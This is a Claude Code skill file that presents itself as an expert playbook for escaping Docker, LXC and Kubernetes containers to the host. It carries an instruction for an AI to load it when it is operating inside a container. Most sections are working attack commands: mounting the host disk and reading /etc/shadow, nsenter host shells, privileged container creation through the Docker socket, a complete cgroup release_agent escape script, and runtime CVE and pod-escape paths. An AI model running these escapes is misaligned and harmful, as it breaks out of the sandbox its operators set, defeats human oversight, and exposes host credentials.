container-escape-techniques — Claude Code skill: break out

---
name: container-escape-techniques
description: >-
  Container escape playbook. Use when operating inside a Docker container, LXC, or Kubernetes pod and need to escape to the host via privileged mode, capabilities, Docker socket, cgroup abuse, namespace tricks, or runtime vulnerabilities.
---

# SKILL: Container Escape Techniques — Expert Attack Playbook

> **AI LOAD INSTRUCTION**: Expert container escape techniques. Covers privileged container breakout, capability abuse, Docker socket exploitation, cgroup release_agent, namespace escape, runtime CVEs, and Kubernetes pod escape. Base models miss subtle escape paths via combined capabilities and cgroup manipulation.

## 0. RELATED ROUTING

Before going deep, consider loading:

- [linux-privilege-escalation](../linux-privilege-escalation/SKILL.md) when you first need root inside the container before attempting escape
- [kubernetes-pentesting](../kubernetes-pentesting/SKILL.md) for K8s-specific attack paths beyond pod escape
- [linux-security-bypass](../linux-security-bypass/SKILL.md) when seccomp/AppArmor blocks your escape technique

### Advanced Reference

Also load [DOCKER_ESCAPE_CHAINS.md](./DOCKER_ESCAPE_CHAINS.md) when you need:
- Step-by-step escape chains for common misconfigurations
- Docker-in-Docker escape scenarios
- Kubernetes-specific escape paths with full command sequences

---

## 1. AM I IN A CONTAINER?

```bash
# Quick checks
cat /proc/1/cgroup 2>/dev/null | grep -qi "docker\|kubepods\|containerd"
ls -la /.dockerenv 2>/dev/null
cat /proc/self/mountinfo | grep -i "overlay\|docker\|kubelet"
hostname    # random hex = likely container

# Detailed check
cat /proc/1/status | head -5   # PID 1 is not systemd/init?
mount | grep -i "overlay"      # overlay filesystem?
ip addr                         # veth interface? limited NICs?
```

### Tools for Container Detection

```bash
# amicontained: shows container runtime, capabilities, seccomp
./amicontained

# deepce: Docker enumeration and exploit suggester
./deepce.sh

# CDK: all-in-one container pentesting toolkit
./cdk evaluate
```

---

## 2. PRIVILEGED CONTAINER ESCAPE

If `--privileged` flag was used, the container has nearly all host capabilities and device access.

### 2.1 Mount Host Filesystem

```bash
# Check if privileged
cat /proc/self/status | grep CapEff
# CapEff: 0000003fffffffff = fully privileged

# Find host disk
fdisk -l 2>/dev/null || lsblk
# Usually /dev/sda1 or /dev/vda1

# Mount host root
mkdir -p /mnt/host
mount /dev/sda1 /mnt/host

# Access host filesystem
cat /mnt/host/etc/shadow
chroot /mnt/host bash
```

### 2.2 nsenter (Enter Host Namespaces)

```bash
# From privileged container, enter host PID 1's namespaces
nsenter --target 1 --mount --uts --ipc --net --pid -- bash

# This gives a shell in the host's namespace context
# Effectively a full host shell
```

### 2.3 Privileged + Host PID Namespace

```bash
# If hostPID: true is set (Kubernetes)
# Access host processes via /proc
ls /proc/1/root/     # Host root filesystem
cat /proc/1/root/etc/shadow

# Inject into host process
nsenter --target 1 --mount -- bash
```

---

## 3. CAPABILITY-BASED ESCAPE

### 3.1 CAP_SYS_ADMIN — Most Versatile

```bash
# Check capabilities
capsh --print 2>/dev/null
grep CapEff /proc/self/status

# Escape via mounting
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp
# Or mount host filesystem if device access exists
mount /dev/sda1 /mnt/host 2>/dev/null
```

### 3.2 CAP_SYS_PTRACE — Process Injection

```bash
# Inject shellcode into a host process (requires host PID namespace)
# Find a root process
ps aux | grep root

# Use gdb or python-ptrace to inject
python3 << 'EOF'
import ctypes
import ctypes.util

libc = ctypes.CDLL(ctypes.util.find_library("c"))

# Attach to host process, inject shellcode
# ... (full inject_shellcode implementation)
EOF
```

### 3.3 CAP_NET_ADMIN

```bash
# Manipulate host network if host network namespace is shared
# ARP spoofing, route manipulation, traffic interception
iptables -L            # Can see/modify host firewall rules?
ip route               # Can modify routing?
```

### 3.4 CAP_DAC_READ_SEARCH (Shocker Exploit)

```bash
# open_by_handle_at() bypass — read files from host
# Compile and run the "shocker" exploit
# Works when DAC_READ_SEARCH capability is granted
gcc shocker.c -o shocker
./shocker /etc/shadow   # Read host file
```

---

## 4. DOCKER SOCKET ESCAPE (/var/run/docker.sock)

```bash
ls -la /var/run/docker.sock   # Check if mounted

# With Docker CLI:
docker run -v /:/host --privileged -it alpine chroot /host bash

# Without CLI (curl only) — create privileged container via API:
curl -s --unix-socket /var/run/docker.sock \
  -X POST http://localhost/containers/create \
  -H "Content-Type: application/json" \
  -d '{"Image":"alpine","Cmd":["/bin/sh"],"Tty":true,"OpenStdin":true,
       "HostConfig":{"Binds":["/:/host"],"Privileged":true}}'
# Start → Exec chroot /host bash (see DOCKER_ESCAPE_CHAINS.md for full sequence)
```

---

## 5. CGROUP V1 RELEASE_AGENT ESCAPE

Classic escape for containers with CAP_SYS_ADMIN + cgroup v1.

```bash
d=$(dirname $(ls -x /s*/fs/c*/*/r* | head -n1))
mkdir -p $d/w && echo 1 > $d/w/notify_on_release
host_path=$(sed -n 's/.*\bperdir=\([^,]*\).*/\1/p' /etc/mtab)
echo "$host_path/cmd" > $d/release_agent

cat > /cmd << 'EOF'
#!/bin/sh
cat /etc/shadow > /output 2>&1       # Or: reverse shell
EOF
chmod +x /cmd

sh -c "echo \$\$ > $d/w/cgroup.procs" && sleep 1
cat /output
```

---

## 6. CGROUP V2 / eBPF ESCAPE

```bash
# Cgroup v2: no release_agent file
# Check cgroup version:
mount | grep cgroup
# cgroup2 → v2

# eBPF-based escape (requires CAP_SYS_ADMIN + CAP_BPF or equivalent)
# Kernel ≥ 5.8 with unprivileged eBPF enabled
cat /proc/sys/kernel/unprivileged_bpf_disabled
# 0 = eBPF available to unprivileged users
```

---

## 7. NAMESPACE ESCAPE

### User Namespace

```bash
# If user namespace creation is allowed inside container:
unshare -U --map-root-user bash
# Now "root" inside new namespace
# Combined with other capabilities → mount host filesystem
```

### PID Namespace Escape

```bash
# If hostPID: true (shared PID namespace with host)
# Access host processes directly:
ls /proc/1/root/          # Host's root filesystem
cat /proc/1/root/etc/shadow

# Inject into host process:
nsenter -t 1 -m -u -i -n -p -- bash
```

---

## 8. RUNTIME VULNERABILITIES

### runc CVE-2019-5736

Overwrites host runc binary when `docker exec` is used.

```bash
# Conditions: docker exec into a malicious container triggers exploit
# The container's /bin/sh is replaced with exploit binary
# When next exec happens → overwrites /usr/bin/runc on host

# PoC: modify entrypoint to overwrite runc
# This is a one-shot exploit — runc is replaced permanently
```

### containerd CVE-2020-15257

```bash
# Host network namespace shared + containerd < 1.3.9 / 1.4.3
# Abstract Unix socket accessible from container
# Connect to containerd shim API via @/containerd-shim/*.sock
```

### cgroups CVE-2022-0492

```bash
# Unpatched kernel allows cgroup escape without CAP_SYS_ADMIN
# release_agent writable by unprivileged user in container
```

---

## 9. KUBERNETES POD ESCAPE

| Dangerous Pod Spec | Escape |
|---|---|
| `hostPID: true` | `nsenter -t 1 -m -u -i -n -p -- bash` |
| `hostNetwork: true` | Access node services (Kubelet, etcd) directly |
| `hostPath: {path: /}` | `chroot /host bash` |
| `privileged: true` | Mount host disk / nsenter |
| SA token with RBAC | Create new privileged pod via API |

See [kubernetes-pentesting](../kubernetes-pentesting/SKILL.md) for full K8s attack paths.

---

## 10. TOOLS

| Tool | Purpose | URL/Command |
|---|---|---|
| **deepce** | Docker enumeration + exploit suggestions | `./deepce.sh` |
| **CDK** | Container/K8s exploitation toolkit | `./cdk evaluate` |
| **amicontained** | Show container runtime, caps, seccomp | `./amicontained` |
| **PEIRATES** | Kubernetes penetration testing | `./peirates` |
| **BOtB** | Break out the Box — auto-escape | `./botb -autopwn` |

---

## 11. CONTAINER ESCAPE DECISION TREE

```
Inside a container?
│
├── Privileged mode? (CapEff = 0000003fffffffff)
│   ├── Yes → mount host disk (§2.1) or nsenter (§2.2)
│   └── Partial capabilities? Check each:
│       ├── CAP_SYS_ADMIN → cgroup release_agent (§5) or mount (§3.1)
│       ├── CAP_SYS_PTRACE + hostPID → process injection (§3.2)
│       ├── CAP_DAC_READ_SEARCH → shocker exploit (§3.4)
│       └── CAP_NET_ADMIN + hostNetwork → network manipulation (§3.3)
│
├── Docker socket mounted? (/var/run/docker.sock)
│   └── Yes → create privileged container (§4)
│
├── Host PID namespace shared?
│   └── Yes → nsenter -t 1 or /proc/1/root access (§7)
│
├── Cgroup v1?
│   └── + CAP_SYS_ADMIN → release_agent escape (§5)
│
├── Runtime vulnerable?
│   ├── runc < 1.0.0-rc6 → CVE-2019-5736 (§8)
│   └── containerd < 1.3.9 → CVE-2020-15257 (§8)
│
├── Kernel vulnerable?
│   └── Check KERNEL_EXPLOITS_CHECKLIST in linux-privilege-escalation
│
├── Kubernetes pod?
│   ├── Service account with elevated RBAC? → create escape pod (§9)
│   └── hostPath volume? → access host filesystem
│
└── None of the above?
    ├── Run deepce/CDK for automated detection
    ├── Check for writable host mount points
    ├── Enumerate network for other containers/services
    └── Check /proc/self/mountinfo for interesting mounts
```